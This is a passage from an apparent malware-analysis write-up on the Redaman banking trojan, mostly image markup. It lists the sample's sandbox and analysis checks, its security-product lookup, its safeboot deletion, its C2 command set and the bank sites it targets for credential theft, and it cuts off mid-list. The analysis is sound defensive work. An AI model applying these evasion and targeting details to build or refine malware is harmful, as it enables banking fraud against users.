https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png" width="294" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:294,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjil5eYJ8aBcCwyenWL-AS97CnoBiLT7LhF0PGtvc2kyZ0Zn9QtsxnnWr3m6pvfp4L8wRnDlCQef-9bRBeQFs_fbUpwXpTzBdku_XXT1EGdaCv44csBs1L4Dj56q4X7Er6GJ72YypQkIM/s640/check_files_c_d.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>It checks for the following names in the own module name:&nbsp;myapp.exe, self.exe, t.exe<br><br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrLSf-YoibqkGxvpXNMLZKpZSAMnyGztKC8pdaiaBe0zLztS6ibuQMUr4Q-dffLw8lpZZS9LCdF9i3WNuCyWmLrGYfcemPilnsBiIWqpN_URItJQCN0JsKOVz9JCNzpZYOyvGB0yuOlBM/s1600/check_own_module_name.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><br><br>And for the following processes:&nbsp;vboxservice.exe, python.exe<br><br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png" width="400" height="256" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:256,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1R0aEjZ2vgVwXKQoV1RFBf2yj4S7VxtBs-1lUpT6IrQBjJaa4VjCzvy1Y1ZgTPTpz6C_a5pyBPRg52Bg8Y9ShOXN5wuHO2zbDZ-aEYdIB1chnsUqtUTwM5QSAy4NHD6l7hHWXFfbjPp8/s400/check_banned_processes.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br><strong>1.6.&nbsp;Checks for security products</strong><br><br><br>Redaman uses the WbemScripting.SWbemLocator API to search for intalled security products:<br><br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2uAWL-0UKpHZ1vo0tgTpZSKVUKpg6Mv1s-V83XVFsxWOEXeg_1BGnYskruhUEo1Yhlq9snihuEIcsLbtlJAGAbFG9Ww-yk3FX5yXzXhZht65MH9kGSEj69lz3AIqnt8VGbgsdA379FI/s1600/securityproducts.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p><strong><br></strong> <br><strong><br></strong> <strong><br></strong> <strong>1.7.&nbsp;Disable Safeboot</strong><br><strong><br></strong> <br><strong><br></strong> The malware deletes the current safeboot value:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png" width="400" height="65" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:65,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDYJyQotKnRD3Wtht9t0FcoBcwWNM-CgRd3OFACUt9PwARoNACWxZQsvTZMXjp5N4Cie1IubXX7uBx9_Iu9po76TQBq20qGDzjkI76iKYLwJgTEnKOuKQC66EeBnq79oAJY7yG0bLBRIs/s400/safebootdelete.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h3>2. Bot commands and malware capabilities</h3><p><br><br>I recommend to read the&nbsp;<a href="https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf">welivesecurity</a>' article to learn about the protocol and encryption used by Redaman banking malware.<br><br>It looks in the newer versions of the malware they have introduced a much longer list of commands that the bot can receive from the C2 and execute. This is the complete list (each command and name is quite self-explanatory):<br><br><br></p><ul><li><p>keylogger.last-data</p></li><li><p>keylogger.last-wnd-caption</p></li><li><p>keylogger.last-exe-path</p></li><li><p>botnet-prefix</p></li><li><p>botnet-id</p></li><li><p>cc.connect-interval</p></li><li><p>scan-files</p></li><li><p>post-install-report</p></li><li><p>cc.url</p></li><li><p>modules.</p></li><li><p>modules-data.</p></li><li><p>del-module</p></li><li><p>unload</p></li><li><p>uninstall</p></li><li><p>uninstall-lock</p></li><li><p>find-files</p></li><li><p>download</p></li><li><p>shutdown</p></li><li><p>reboot</p></li><li><p>cc</p></li><li><p>get-cc</p></li><li><p>botnet-id</p></li><li><p>prefix</p></li><li><p>connect-interval</p></li><li><p>hosts-add</p></li><li><p>hosts-clear</p></li><li><p>dbo-scan</p></li><li><p>cfg-set-str-a</p></li><li><p>cfg-set-str-w</p></li><li><p>cfg-set-dw</p></li><li><p>cfg-get-str-a</p></li><li><p>cfg-get-str-w</p></li><li><p>cfg-get-dw</p></li><li><p>cfg-del-param</p></li><li><p>screenshot</p></li><li><p>dns</p></li><li><p>set-dns</p></li><li><p>get-dns</p></li><li><p>kill-process</p></li><li><p>lpe-runas-flags</p></li><li><p>scards.monitoring-interval</p></li><li><p>auto-elevate</p></li><li><p>reload</p></li><li><p>scard-off</p></li><li><p>modules-off</p></li><li><p>dbo-detector-off</p></li><li><p>multiinstance-off</p></li><li><p>keylogger-off</p></li><li><p>dns-servers-changed</p></li><li><p>hosts-file-changed</p></li><li><p>video.refresh-interval</p></li><li><p>video-start</p></li><li><p>video-stop</p></li><li><p>del-files</p></li></ul><p> Additionally, in the list of encrypted strings, the malware carries a list of strings to match against the browser window name. In case of match, it is a target site (most of them bank websites) to steal credentials from. This is the list of urls of the analyzed sample:</p><ul><li><p>online.payment.ru</p></li><li><p>bankline.ru</p></li><li><p>/ic/login.zhtml</p></li><li><p>/servlets/ibc</p></li><li><p>faktura.ru</p></li><li><p>/iclient/</p></li><li><p>ibank2</p></li><li><p>bco.vtb24.</p></li><li><p>bo.vtb24.</p></li><li><p>dbo.vtb.</p></li><li><p>elbrus.raiffeisen</p></li><li><p>elba.raiffeisen</p></li><li><p>handybank.</p></li><li><p>wupos.westernunion</p></li><li><p>online.sberbank.</p></li><li><p>minbank.ru</p></li><li><p>e-plat.mdmbank.</p></li><li><p>link.alfabank</p></li><li><p>click.alfabank</p></li><li><p>ib.avangard</p></li><li><p>ibc.vuzbank.</p></li><li><p>ibc.ubrr.</p></li><li><p>my.modulbank.</p></li><li><p>online.centrinvest.</p></li><li><p>cb.mtsbank.</p></li><li><p>vbo.mkb.</p></li><li><p>i.bspb.ru</p></li><li><p>i.vtb.ru</p></li><li><p>bc.rshb.</p></li><li><p>/vpnkeylocal</p></li><li><p>sci.interkassa</p></li><li><p>ibank.mmbank.</p></li><li><p>